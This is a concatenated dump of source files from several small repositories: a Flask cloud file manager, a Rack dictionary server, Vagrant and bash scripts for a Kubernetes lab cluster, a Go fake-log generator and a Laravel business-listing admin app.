'%'), File.filename.like('%' + query_str + '%') ).add_columns(FileType.filetype).all() rv = {"result": "success", "files": []} for index, f in enumerate(files): file_item = {} file_item['id'] = index file_item['fileName'] = f.File.filename file_item['fileType'] = f.filetype file_item['fileSize'] = f.File.filesize file_item['modifiedTime'] = f.File.uploaddate.strftime("%Y-%m-%d %H:%M:%S") file_item['path'] = f.File.path rv['files'].append(file_item) return jsonify(rv) <file_sep> SUCCESS_RESULT = "success" FAILURE_RESULT = "failure" def api_result(result, reason=None, **kwargs): rv = {} if result == SUCCESS_RESULT: rv["result"] = SUCCESS_RESULT else: rv["result"] = FAILURE_RESULT if reason: rv["reason"] = reason rv.update(kwargs) return rv def change_path_prefix(path, path_prefix, new_path_prefix): ''' this function changes the path's prefix. like ('/123/345', '/123', '/') => '/345' ('/123/345', '/123', '/222') => '/222/345' ''' if path_prefix not in path or path.index(path_prefix) != 0: raise ValueError('path_prefix must in path, or path_prefix must at start of the path.') if new_path_prefix == path_prefix: return path if new_path_prefix == '/': return path[len(path_prefix):] elif path_prefix == '/': return new_path_prefix + path else: return new_path_prefix + path[len(path_prefix):] <file_sep># cloud-file-manager 当前还处于初级阶段,只完成了云盘的基本功能,主要包括: - 文件或文件夹基本操作(新建、上传下载、移动、删除) - 搜索 - 多用户 - 离线下载(暂时还不支持BT下载) #### 目前使用到的技术栈: - 前端:Vue、bootstrap、webpack - 后端: Python(Flask、Celery)、aria2、redis ![Screen Shot](https://raw.githubusercontent.com/lee88688/cloud-file-manager/master/screen%20shot.PNG) <file_sep>import os import shutil from hashlib import md5 from cloudr.model import db_app, db, OfflineDownload, File, FileType from .celery import app from cloudr.utils.aria2 import Aria2 from cloudr.utils.filetype import check_file_type from cloudr.config import ARIA2_HOST, ARIA2_PORT, ARIA2_TOKEN, MAX_READ_SIZE, FILE_PATH aria2 = Aria2(ARIA2_HOST, ARIA2_PORT, ARIA2_TOKEN) def _addUri(id, uris): if len(uris) > 1: raise TypeError("uris only support one uri.") r = aria2.addUri(uris) print(r) if 'error' in r: error_code = r['error']['code'] error_message = r['error']['message'] done = True OfflineDownload.query.filter(OfflineDownload.id == id).update({ 'error': error_code, 'message': error_message, 'done': done }) else: gid = r['result'] OfflineDownload.query.filter( OfflineDownload.id == id).update({'gid': gid}) db.session.commit() return r def add_new_file(id, file_path): download_file = OfflineDownload.query.filter( OfflineDownload.id == id).first() userid = download_file.userid filename = download_file.filename uploaddate = download_file.time # path = download_file.path filesize = os.path.getsize(file_path) # find the file and calculate the md5. with open(file_path, 'rb') as f: m = md5() r = f.read(MAX_READ_SIZE) m.update(r) while len(r) > 0: r = f.read(MAX_READ_SIZE) m.update(r) md5_str = m.hexdigest() filetype = FileType.query.filter(FileType.filetype == check_file_type(filename)).first() if not filetype: raise TypeError('can not specify filetype for {}'.format(filename)) filetype = filetype.id file = File( userid=userid, filetype=filetype, filename=filename, filesize=filesize, uploaddate=uploaddate, path=download_file.path, md5=md5_str ) db.session.add(file) # move the file to destination dir new_path = FILE_PATH + os.sep + md5_str shutil.move(file_path, new_path) def _refresh(): downloads = OfflineDownload.query.filter( OfflineDownload.done == False).all() for d in downloads: r = aria2.getFiles(d.gid) if 'error' in r: error_code = r['error']['code'] error_message = r['error']['message'] d.code = error_code d.message = error_message d.done = True db.session.commit() continue result = r['result'][0] total_length = result['length'] completed = int( float(result['completedLength']) / float(total_length) * 100) done = (completed == 100) path = result['path'] if d.filename is None: filename = os.path.split(path)[-1] else: filename = None OfflineDownload.query.filter(OfflineDownload.id == d.id).update({ 'filename': filename, 'path': d.path, # this path is virtual path for cloudr 'completed': completed, 'done': done }) # if done move the file into file dir, and insert a row into File if done: add_new_file(d.id, path) db.session.commit() @app.task def addUri(id, uris): with db_app.app_context(): r = _addUri(id, uris) return r @app.task def refresh(): # todo: when some files download error, they need to be removed from aria2 and delete files. with db_app.app_context(): _refresh() <file_sep>from flask import Blueprint bp = Blueprint("file", __name__, url_prefix="/file") from . import file_operate
be3df82bb67f35f30a1df0b6178d12de11a00c68
[ "JavaScript", "Python", "Markdown" ]
24
Python
cnbillow/cloud-file-manager
d3be3021a28213d08da95733d4b2b3f271de7bbe
98ca882bb2fda021a2954138c915e3800681dd52
refs/heads/master
<file_sep># Rack Dictionary To use this open dictionary.rb with ruby. This will start the WEBrick server which by default is on port 8080. Then in a browser navigate to localhost:8080/?word=Ruby (or whatever you want to find) If the word is not found in the dictionary it will tell you so. <file_sep>require 'rack' class Dictionary def self.call(env) request = Rack::Request.new(env) if request.params.length == 0 output = "Welcome to Dictionary" else dictionary = open("dictionary.txt"){|f| f.read } word = request["word"].downcase found = false output = '' dictionary.each_line do |line| line.strip! if line.downcase.start_with?(word) found = true output = line break end end output = "Word not found" unless found end [200, {"Content-Type" => "text/html"}, ["#{output}"]] end end Rack::Handler::WEBrick.run Dictionary
480a494c910d67b82cf87fba5499bbdd62089880
[ "Markdown", "Ruby" ]
2
Markdown
EricRichardson/rack_dictionary
7643f80028ffaf9a1678a3987cbdd3772425574b
89015357db4909b90a361952013b86de81a0fd0a
refs/heads/master
<repo_name>xplorebits/xploreoffice<file_sep>/README.md # XploreOffice: Office Open XML Documents to HTML Converter. xploreoffice is designed to parse Office Open XML standard documents into HTML documents. > Under development ## Overview The aim of this project is to convert Open Office XML (<b>.docx</b>, <b>.pptx</b> and <b>.xlsx</b>) documents into HTML documents. ## Test 1. git clone `https://github.com/xplorebits/xploreoffice.git` 2. Go to xploreoffce/ and do `npm install` 3. run `npm test` ## Progress - [ ] <b>.docx</b> Documents - [x] Text only documents - [ ] List item support - [ ] Table support - [ ] Image support - [ ] Page frame support - [ ] <b>.pptx</b> Documents - [ ] <b>.xlsx</b> Documents ## Contact <EMAIL> <file_sep>/index.js /** * Copyright (c) 2018, XploreBits, (OPC) Pvt Ltd. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ 'use strict'; const Word = require('./lib/Word'); function XploreOffice() { if (!(this instanceof XploreOffice)) { return new XploreOffice(); } } XploreOffice.prototype.Word = function (_srcFilePath) { return new Word(_srcFilePath); } module.exports = XploreOffice;<file_sep>/test/test.js const assert = require('assert'); const fs = require('fs'); const os = require('os'); const fops = require('fs-extra'); const path = require('path'); const XploreOffice = require('../index'); describe('Array', function() { describe('#indexOf()', function() { it('should convert .docx TEXT ONLY document into HTML at ~/Desktop/xploreoffice-output/out.html', function() { const office = new XploreOffice(); const word = office.Word(path.join( process.cwd(), 'test', 'test.docx' )); word.createHtml((err, html) => { if (err) { throw err; } else { const outPath = path.join( os.homedir(), 'Desktop', 'xploreoffice-output' ); fops.ensureDirSync(outPath); fs.writeFile( path.join( outPath, 'out.html' ), html, (err) => { if (err) { assert.fail(err); } } ); } }); }); }); });
919e9cdb0a6da89e51159a804b022f5f2ba0c5bb
[ "Markdown", "JavaScript" ]
3
Markdown
xplorebits/xploreoffice
324b559e42c4bb6aa20f25a6adaadf44d9266ebc
ecc5cea9f9d9ad7ca27fd0bcad4e0740bf13f8aa
refs/heads/master
<file_sep>mkdir -p out/ cat src/header.html src/index.html src/footer.html > out/index.html
bb4ff62ae1cfd6a512f94b2e32586482747481a5
[ "Shell" ]
1
Shell
darthmaim/deploy-test
61e0a5cc6be9a768d2a604d087b4e897cd9f2c86
4561570386fe25b31d29946fc5aa46b667eca69c
refs/heads/master
<repo_name>jschwellach/flog<file_sep>/log_test.go package main import ( "fmt" "math/rand" "time" "bou.ke/monkey" ) var stopped = time.Date(2018, 04, 22, 9, 30, 0, 0, time.UTC) func ExampleNewApacheCommonLog() { rand.Seed(11) monkey.Patch(time.Now, func() time.Time { return stopped }) defer monkey.Unpatch(time.Now) created := time.Now() fmt.Println(NewApacheCommonLog(created)) // Output: 172.16.17.32 - Kozey7157 697 [2018-04-22T09:30:00Z] "DELETE /innovate/next-generation" 302 24570 } func ExampleNewApacheCombinedLog() { rand.Seed(11) monkey.Patch(time.Now, func() time.Time { return stopped }) defer monkey.Unpatch(time.Now) created := time.Now() fmt.Println(NewApacheCombinedLog(created)) // Output: 172.16.17.32 - Kozey7157 119 [2018-04-22T09:30:00Z] "DELETE /innovate/next-generation" 302 81317 "https://www.forwardholistic.biz/mission-critical/synergize/morph/sticky" "Mozilla/5.0 (Windows NT 5.01) AppleWebKit/5320 (KHTML, like Gecko) Chrome/40.0.875.0 Mobile Safari/5320" } func ExampleNewApacheErrorLog() { rand.Seed(11) monkey.Patch(time.Now, func() time.Time { return stopped }) defer monkey.Unpatch(time.Now) created := time.Now() fmt.Println(NewApacheErrorLog(created)) // Output: [2018-04-22T09:30:00Z] [quia:crit] [pid 4214:tid 6037] [client: 172.16.31.10] If we back up the program, we can get to the SSL sensor through the redundant SAS program! } func ExampleNewRFC3164Log() { rand.Seed(11) monkey.Patch(time.Now, func() time.Time { return stopped }) defer monkey.Unpatch(time.Now) created := time.Now() fmt.Println(NewRFC3164Log(created)) // Output: <24>Apr 22 09:30:00 Moen8727 concept[3160]: If we back up the program, we can get to the SSL sensor through the redundant SAS program! } <file_sep>/random.go package main import ( "strings" "github.com/brianvoe/gofakeit" ) // RandResourceURI generates a random resource URI func RandResourceURI() string { var url string num := gofakeit.Number(1, 4) slug := make([]string, num) for i := 0; i < num; i++ { slug[i] = gofakeit.BS() } url += "/" + strings.ToLower(strings.Join(slug, "/")) return url } <file_sep>/time.go package main // Custom predefined layouts const ( RFC3164 = "Jan 02 15:04:05" APACHE_LOG_TIME = "02/Jan/2006:15:04:05 -0700" ) <file_sep>/Dockerfile FROM mingrammer/go-mod-onbuild
07a967bfcf71ae0e38fe4262d7bbfab4bc817691
[ "Go", "Dockerfile" ]
4
Go
jschwellach/flog
65993d10891508404a0f16dc7919a25d6b789ef5
ee65bf213c667ff9b3e091701f7de9ffcda530b0
refs/heads/main
<file_sep>POD_CIDR=$1 API_IP=$2 echo "[TASK 1] k8s cluster images pull and init" sudo kubeadm config images pull sudo kubeadm init --apiserver-advertise-address=$API_IP --pod-network-cidr=$POD_CIDR >> /root/kubeinit.log 2>/dev/null echo "[TASK 2] Correct internal ip for the nodes" ETH0=$(ip -f inet addr show eth1 | grep -Po 'inet \K[\d.]+') sudo sed -i "s/^ExecStart=\/usr\/bin\/kubelet.*/& --node-ip $ETH0/" /etc/systemd/system/kubelet.service.d/10-kubeadm.conf sudo systemctl daemon-reload && sudo systemctl restart kubelet echo "[TASK 3] Configure kubectl" mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config # for vagrant user mkdir -p /home/vagrant/.kube sudo cp -i /etc/kubernetes/admin.conf /home/vagrant/.kube/config sudo chown $(id -u vagrant):$(id -g vagrant) /home/vagrant/.kube/config # for root user mkdir -p /root/.kube sudo cp -i /etc/kubernetes/admin.conf /root/.kubeconfig sudo chown $(id -u root):$(id -g root) /root/.kube/config echo "[TASK 4] Deploy Calico network" kubectl --kubeconfig=/etc/kubernetes/admin.conf create -f https://docs.projectcalico.org/v3.18/manifests/calico.yaml >/dev/null 2>&1 echo "[TASK 5] Create join command" kubeadm token create --print-join-command > /vagrant_data/join.sh chmod +x /vagrant_data/join.sh echo "[TASK 6] Install MetalLB" kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/namespace.yaml kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.10.2/manifests/metallb.yaml kubectl apply -f /vagrant_data/metallb_configmap.yaml<file_sep>POD_CIDR=$1 echo "[TASK 1] Join node to Kubernetes Cluster" sh /vagrant_data/join.sh echo "[TASK 2] Correct internal ip for the Nodes" ETH0=$(ip -f inet addr show eth1 | grep -Po 'inet \K[\d.]+') sudo sed -i "s/^ExecStart=\/usr\/bin\/kubelet.*/& --node-ip $ETH0/" /etc/systemd/system/kubelet.service.d/10-kubeadm.conf sudo systemctl daemon-reload && sudo systemctl restart kubelet <file_sep># image name to be used as the base image for the hosts IMAGE_NAME = "bento/ubuntu-20.04" # subnet to be used for the nodes SUBNET = "172.16.16." # pod cidr to be used with kubeadm POD_CIDR = "192.168.0.0/16" # number of workers to be deployed NodeCount = 1 Vagrant.configure("2") do |config| config.ssh.insert_key = false config.vm.box_check_update = false config.vm.provision "shell", path: "scripts/bootstrap.sh" config.vm.define "master" do |master| master.vm.box = IMAGE_NAME master.vm.network "private_network", ip: SUBNET + "#{10}" master.vm.hostname = "master.jlab.org" master.vm.synced_folder "data/", "/vagrant_data" master.vm.provider "virtualbox" do |v| v.name = "master" v.memory = 8192 v.cpus = 2 end master.vm.provision "shell", path: "scripts/master-pre-req.sh" do |s| s.args = [POD_CIDR, SUBNET + "#{10}"] end end (1..NodeCount).each do |i| config.vm.define "worker-#{i}" do |node| node.vm.box = IMAGE_NAME node.vm.network "private_network", ip: SUBNET + "#{i + 10}" node.vm.hostname = "worker-#{i}.jlabs.org" node.vm.synced_folder "data/", "/vagrant_data" node.vm.provider "virtualbox" do |v| v.name = "worker-#{i}" v.memory = 8192 v.cpus = 2 end node.vm.provision "shell", path: "scripts/worker-pre-req.sh" end end end<file_sep> ## Fully Automated Vagrant Kubernetes Cluster Setup, with one master and 'N' workers for VirtualBox Special thanks to [<NAME>](https://github.com/vNugget), have used his [repo](https://github.com/vNugget/Kubernetes/tree/main/AutoKube) as template This will install: - The Kubernetes version (currently 1.21.2) - Docker as a container runtime - Calico as a CNI. Tested on: ``` Windows 10 Ubuntu 20.04 Desktop ``` ## Requirements You have to install: - [Vagrant](https://www.vagrantup.com/) - [VirtualBox](https://www.virtualbox.org/) ## How To Use It ```bash git clone https://github.com/sudonewdev/k8s-vagrant-windows10 ``` ```bash cd k8s-vagrant-windows10 ``` ```bash vagrant up ``` ```bash vagrant ssh master-1 ``` After this stage you can use kubectl ``` ➜ kubectl get nodes NAME STATUS ROLES AGE VERSION master Ready control-plane,master 65m v1.20.0 worker-1 Ready <none> 62m v1.20.0 worker-2 Ready <none> 59m v1.20.0 ``` <file_sep>echo "[TASK 1] Enabling Swap off, fstab swap remove & firewall disable" sudo sed -i '/ swap / s/^/#/' /etc/fstab sudo swapoff -a sudo systemctl disable --now ufw echo "[TASK 2] Adding kernel settings" cat <<EOF | sudo tee /etc/sysctl.d/kubernetes.conf net.bridge.bridge-nf-call-iptables = 1 net.ipv4.ip_forward = 1 net.bridge.bridge-nf-call-ip6tables = 1 EOF sudo sysctl -p echo "[TASK 3] Patching machine" sudo apt-get update && sudo apt upgrade -y sudo apt-get install -y \ apt-transport-https \ ca-certificates \ curl \ gnupg \ lsb-release\ htop \ vim \ bash-completion \ net-tools \ unzip \ tree \ python3 \ python3-pip \ python \ python-pip \ git echo "[TASK 4] Docker repo add & installation" curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo \ "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt update sudo apt-get install -y docker-ce docker-ce-cli containerd.io sudo apt-mark hold docker-ce sudo systemctl enable --now docker sudo usermod -aG docker $USER echo "[TASK 5] Add apt repo for k8s" sudo apt-get update && sudo apt-get install -y apt-transport-https curl curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add - apt-add-repository "deb http://apt.kubernetes.io/ kubernetes-xenial main" >/dev/null 2>&1 echo "[TASK 6] Installation of k8s components" sudo apt-get update sudo apt-get install -y kubelet=1.21.2-00 kubeadm=1.21.2-00 kubectl=1.21.2-00 sudo apt-mark hold kubelet kubeadm kubectl echo "[TASK 7] kubectl bash completion" echo "source <(k completion bash)" >> ~/.bashrc echo "alias k=kubectl" >> /etc/bash.bashrc echo "complete -F __start_kubectl k" >>  ~/.bashrc echo "[TASK 8] Set root password" echo -e "root\nroot" | passwd root >/dev/null 2>&1 sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config sudo systemctl restart sshd echo "[TASK 9] Update /etc/hosts" echo "172.16.16.10 master" >> /etc/hosts echo "172.16.16.11 worker-1" >> /etc/hosts
c5507d6f41b70b9f8d3234d4f7847a795e448d53
[ "Markdown", "Ruby", "Shell" ]
5
Shell
sudonewdev/k8s-vagrant-windows10
21e35382dee70d0249dd9dc58caaa1e27dac2d75
dfd540addc4eb3ebbe1f0d12c238124fb91f37d0
refs/heads/master
<repo_name>Mohammedredabric/Info-Atlas-V1<file_sep>/app/Http/Controllers/PostController.php <?php namespace App\Http\Controllers; use App\Http\Requests\PostRequest; use App\Models\Post; use Illuminate\Http\Request; use function foo\func; class PostController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $posts=Post::all(); return view('blog.index',['posts'=>$posts]); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('blog.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(PostRequest $request) { Post::create([ 'title'=> $request->input('title'), 'sub_title'=> $request->input('sub_title'), 'content'=> $this->getcontentwithsrc($request->input('content')), 'user_id'=>auth()->id() ]); $request->session()->flash('post', 'has create '); return redirect()->route('post.index'); } public function getcontentwithsrc($content ){ $detail=$content; $dom = new \DomDocument(); $dom->loadHtml($detail, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $images = $dom->getElementsByTagName('img'); foreach($images as $k => $img){ $data = $img->getAttribute('src'); list($type, $data) = explode(';', $data); list(, $data) = explode(',', $data); $data = base64_decode($data); $image_name= "/upload/" . time().$k.'.png'; $path = public_path() . $image_name; file_put_contents($path, $data); $img->removeAttribute('src'); $img->setAttribute('src', $image_name); } return $dom->saveHTML(); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $post=Post::find($id); return view('blog.edit',['post'=>$post]); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(PostRequest $request, $id) { $post=Post::find($id); $post->update([ 'title'=> $request->input('title'), 'sub_title'=> $request->input('sub_title'), 'content'=> $this->getcontentwithsrc($request->input('content')), 'user_id'=>auth()->id() ]); $request->session()->flash('post', 'has updated'); return redirect()->route('post.index'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $post=Post::find($id); $post->delete(); return redirect()->route('post.index')->with(['post'=>'has deleted ']); } } <file_sep>/app/Models/Amenity.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Amenity extends Model { /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'icon_class', 'name', 'slug', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', ]; protected $hidden=['pivot','created_at','updated_at']; public function listings() { return $this->belongsToMany(\App\Models\Listing::class,'amenity_listing'); } } <file_sep>/app/Models/City.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class City extends Model { /** * The attributes that are mass assignable. * * @var array */ protected $table='cities'; protected $fillable = [ 'name', 'slug', 'country_id', ]; protected $hidden=[ 'created_at', 'updated_at', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', ]; public function country(){ return $this -> belongsTo('App\Models\Country','country_id','id'); } public function listings(){ return $this -> hasMany(\App\Models\Listing::class); } } <file_sep>/app/Models/Category.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Category extends Model { /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'parebt', 'icon_class', 'name', 'slug', 'thumbnail', 'created_at', 'updated_at', ]; protected $hidden=[ 'created_at', 'updated_at', 'pivot', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', ]; public function listings() { return $this->belongsToMany(\App\Models\Listing::class,'category_listing'); } } <file_sep>/app/Http/Controllers/ReviewQualityController.php <?php namespace App\Http\Controllers; use App\Http\Requests\ReviewQualityRequest; use App\Models\ReviewQuality; use http\Exception\InvalidArgumentException; use Illuminate\Http\Request; class ReviewQualityController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $reviewwisequalities=ReviewQuality::all(); return view('quality.index', compact('reviewwisequalities')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('quality.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(ReviewQualityRequest $request) { $ReviewQuality=ReviewQuality::Create($request->all()); $request->session()->flash('quality', $ReviewQuality->quality.''); return redirect()->route('quality.index'); } /** * Display the specified resource. * * @param \App\Models\ReviewQuality $reviewQuality * @return \Illuminate\Http\Response */ public function show(ReviewQuality $reviewQuality) { // } /** * Show the form for editing the specified resource. * */ public function edit($id) { $quality = ReviewQuality::findOrFail($id); return view('quality.edit',compact('quality')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\ReviewQuality $reviewQuality * @return \Illuminate\Http\Response */ public function update(ReviewQualityRequest $request,$id) { $reviewQuality=ReviewQuality::findorfail($id); $reviewQuality->quality = $request->quality; $reviewQuality->rating_from =$request->rating_from; $reviewQuality->rating_to= $request->rating_to; $reviewQuality->save(); $request->session()->flash('quality', $reviewQuality->quality.''); return redirect()->route('quality.index'); } /** * Remove the specified resource from storage. * * @param \App\Models\ReviewQuality $reviewQuality * @return \Illuminate\Http\Response */ public function destroy($id) { $ReviewQuality=ReviewQuality::findORfail($id); $ReviewQuality->delete(); return redirect()->route('quality.index'); } } <file_sep>/routes/web.php <?php use Illuminate\Support\Facades\Route; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::group(['namespace' => 'frontend'], function(){ Route::get('/' , 'HomeController@index'); }); Auth::routes(['verify' => true]); Route::group(['middleware' => ['verified'], 'prefix' => 'admin'],function () { Route::Resource('category', 'CategoryController'); Route::Resource('amenities', 'AmenitiesController'); Route::Resource('city', 'CityController'); Route::Resource('listing', 'ListingController'); Route::Resource('post', 'PostController'); Route::get('/claimed', 'ListingController@claimed'); Route::post('/claimed/{id}', 'ListingController@active')->name("active.claimed"); Route::Resource('quality', 'ReviewQualityController'); Route::Resource('mailbox', 'MailBoxController'); Route::Resource('user', 'UserController'); Route::get('/settings/back','SettingsController@getbacksettings')->name('backsettings'); Route::post('/settings/back','SettingsController@setbacksettings')->name('backsettings'); Route::get('/settings/front','SettingsController@getfrontsettings')->name('frontsettings'); Route::post('/settings/front','SettingsController@setfrontsettings')->name('frontsettings'); }); Route::get('/home', 'HomeController@index') ->name('home') ->middleware(['verified']); <file_sep>/app/Models/ReviewQuality.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class ReviewQuality extends Model { protected $table='reviewwisequalities'; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'rating_from', 'rating_to', 'quality', ]; protected $hidden=[ 'created_at', 'updated_at', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', 'rating_from' => 'float', 'rating_to' => 'float', ]; public function reviews() { return $this->hasMany(\App\Models\Review::class); } } <file_sep>/app/Http/Controllers/SettingsController.php <?php namespace App\Http\Controllers; use App\Models\BackendSettings; use App\Models\Country; use App\Models\FrontendSettings; use Illuminate\Http\Request; use Illuminate\Support\Facades\Config; class SettingsController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function getbacksettings() { $countries =Country::all(); $Listsettings=BackendSettings::all(); $settings=[]; Foreach($Listsettings as $setting){ $settings[$setting->type]=$setting->description; } return view('settings.back',compact(['countries','settings'])); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function setbacksettings(Request $request){ $settting=[ 'website_title'=>$request->input('website_title'), 'system_title'=>$request->input('system_title'), 'system_email'=>$request->input('system_email'), 'address'=>$request->input('address'), 'phone'=>$request->input('phone'), 'country_id'=>$request->input('country_id'), ]; foreach ($settting as $key =>$value){ $back=BackendSettings::where('type',$key)->first(); if ($back){ $back->description=$value; $back->save(); } else{ $back=new BackendSettings(); $back->type=$key; $back->description=$value; $back->save(); } } // Config::set('APP_NAME','infoAtlas'); // default $request->session()->flash('stg','Saved'); return redirect()->route('backsettings'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function getfrontsettings() { $countries =Country::all(); $Listsettings=FrontendSettings::all(); $settings=[]; Foreach($Listsettings as $setting){ $settings[$setting->type]=$setting->description; } return view('settings.front',compact(['countries','settings'])); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function setfrontsettings(Request $request){ $settting=[ 'banner_title'=>$request->input('banner_title'), 'banner_sub_title'=>$request->input('banner_sub_title'), 'slogan'=>$request->input('slogan'), 'facebook'=>$request->input('facebook'), 'twitter'=>$request->input('twitter'), 'about_us'=>$request->input('about_us'), 'terms_and_condition'=>$request->input('terms_and_condition'), 'privacy_policy'=>$request->input('privacy_policy'), 'faq'=>$request->input('faq'), ]; foreach ($settting as $key =>$value){ if ($value !=""){ $back=FrontendSettings::where('type',$key)->first(); if ($back){ $back->description=$value; $back->save(); } else{ $back=new FrontendSettings(); $back->type=$key; $back->description=$value; $back->save(); } } } $request->session()->flash('stg','Saved'); return redirect()->route('frontsettings'); } } <file_sep>/app/Models/Listing.php <?php namespace App\Models; use App\TimeConfiguration; use Illuminate\Database\Eloquent\Model; use Illuminate\Notifications\Notifiable; class Listing extends Model { use Notifiable; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'code', 'name', 'description', 'photos', 'video_url', 'video_provider', 'tag', 'adress', 'email', 'phone', 'website', 'social', 'latitude', 'longitude', 'status', 'listing_type', 'listing_thumbnail', 'listing_cover', 'seo_meta_tags', 'user_id', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', 'photos' => 'array', 'social' => 'array', ]; public $hidden=[ 'pivot', "created_at", "updated_at" ]; ##################### Relations Start ############################ public function user(){ return $this->belongsTo(\App\Models\User::class); } public function city(){ return $this -> belongsTo(\App\Models\City::class,'city_id'); } public function time(){ return $this -> hasOne(\App\Models\TimeConfiguration::class,'listing_id','id',"time_configuration"); } public function reviews(){ return $this -> hasMany(\App\Models\Review::class); } public function amenities(){ return $this->belongsToMany(\App\Models\Amenity::class,'amenity_listing'); } public function categories(){ return $this->belongsToMany(\App\Models\Category::class,'category_listing'); } ##################### Relations End ############################ } <file_sep>/app/Models/CategoryListing.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class CategoryListing extends Model { protected $table="category_listing"; } <file_sep>/app/Models/Country.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Country extends Model { /** * The attributes that are mass assignable. * * @var array */ protected $table='countries'; protected $fillable = [ 'name', 'code', 'dial_code', 'currency_name', 'currency_symbol', 'currency_code', 'slug', ]; protected $hidden=[ 'created_at', 'updated_at', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'id' => 'integer', ]; public function cities(){ return $this -> hasMany('App\Models\City','country_id','id'); } } <file_sep>/app/Models/AmenityListing.php <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class AmenityListing extends Model { protected $table='amenity_listing'; } <file_sep>/app/Http/Controllers/ListingController.php <?php namespace App\Http\Controllers; use App\Http\Requests\ListingStoreRequest; use App\Http\Requests\ListingUpdateRequest; use App\Models\Amenity; use App\Models\Category; use App\Models\City; use App\Models\Country; use App\Models\Listing; use App\Models\TimeConfiguration; use App\Notifications\ListCreated; use App\Notifications\ListPublished; use Illuminate\Http\Request; use Illuminate\Support\Facades\Notification; class ListingController extends Controller { /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function index() { $listings = Listing::select('id','name','status','city_id') ->with(['City'=>function($q){ $q->select('cities.id','cities.name','cities.country_id') ->with(['country'=>function($q){ $q->select('countries.id','countries.name'); }]);}]) ->with(['categories'=>function($q){ $q->select('name'); }]) ->where('status','Active') ->get(); return view('listing.index', compact(['listings'])); } public function claimed(){ $listings = Listing::select('id','name','status','city_id') ->with(['City'=>function($q){ $q->select('cities.id','cities.name','cities.country_id') ->with(['country'=>function($q){ $q->select('countries.id','countries.name'); }]);}]) ->with(['categories'=>function($q){ $q->select('name'); }]) ->where('status','Pendig') ->get(); return view('listing.claimed', compact(['listings'])); } public function active($id){ $listing=Listing::find($id); $listing->status="Active"; $listing->save(); // Notification Notification::send($listing , new ListPublished($listing)); return redirect()->route('listing.index')->with('listing', $listing->name. 'Listing has Achieved!'); } /** * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function create(Request $request) { $categories=Category::all(); $cities=City::all(); $amenities = Amenity::all(); return view('listing.create' , compact(['categories','cities','amenities'])); } /** * @param \App\Http\Requests\ListingStoreRequest $request * @return \Illuminate\Http\Response */ public function store(ListingStoreRequest $request) { $listing = new Listing(); $listing->code = substr(str_replace(['+', '/', '='], '', base64_encode(random_bytes(32))), 0, 32); // 32 characters, without /=+ $listing->name=$request->input('name'); $listing->description=$request->input('description'); $listing->video_url=$request->input('video_url'); $listing->video_provider='youtube'; $listing->adress=$request->input('adress'); $listing->email=$request->input('email'); $listing->phone=$request->input('phone'); $listing->website=$request->input('website'); $listing->latitude=$request->input('latitude'); $listing->longitude=$request->input('longitude'); $listing->listing_type=$request->input('listing_type'); $listing->city_id=$request->input('city'); $listing->seo_meta_tags="Tag"; $listing->tag="Tag"; $listing->social=$request->input('social'); 